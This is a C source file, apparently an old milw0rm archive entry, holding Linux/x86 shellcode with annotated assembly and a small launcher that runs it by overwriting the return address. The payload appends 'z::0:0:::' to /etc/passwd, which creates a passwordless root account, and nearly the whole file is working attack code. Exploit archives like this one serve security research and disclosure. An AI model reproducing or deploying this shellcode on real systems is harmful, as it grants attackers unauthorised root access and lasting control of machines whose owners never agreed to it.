46 lines
No EOL
1.8 KiB
C
46 lines
No EOL
1.8 KiB
C
/*
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* Linux/x86
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*
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* Appends the line "z::0:0:::\n" to /etc/passwd.
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* (quite old, could be optimized further)
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*/
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#include <stdio.h>
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char c0de[] =
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/* main: */
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"\xeb\x29" /* jmp callz */
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/* start: */
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"\x5e" /* popl %esi */
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"\x29\xc0" /* subl %eax, %eax */
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"\x88\x46\x0b" /* movb %al, 0x0b(%esi) */
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"\x89\xf3" /* movl %esi, %ebx */
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"\x66\xb9\x01\x04" /* movw $0x401, %cx */
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"\x66\xba\xb6\x01" /* movw $0x1b6, %dx */
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"\xb0\x05" /* movb $0x05, %al */
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"\xcd\x80" /* int $0x80 */
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"\x93" /* xchgl %eax, %ebx */
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"\x29\xc0" /* subl %eax, %eax */
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"\x29\xd2" /* subl %edx, %edx */
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"\xb0\x04" /* movb $0x04, %al */
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"\x89\xf1" /* movl %esi, %ecx */
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"\x80\xc1\x0c" /* addb $0x0c, %cl */
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"\xb2\x0a" /* movb $0x0a, %dl */
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"\xcd\x80" /* int $0x80 */
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"\x29\xc0" /* subl %eax, %eax */
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"\x40" /* incl %eax */
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"\xcd\x80" /* int $0x80 */
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/* callz: */
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"\xe8\xd2\xff\xff\xff" /* call start */
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/* DATA */
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"/etc/passwd"
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"\xff"
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"z::0:0:::\n";
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main() {
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int *ret;
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ret=(int *)&ret +2;
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printf("Shellcode lenght=%d\n",strlen(c0de));
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(*ret) = (int)c0de;
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}
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// milw0rm.com [2000-08-07]
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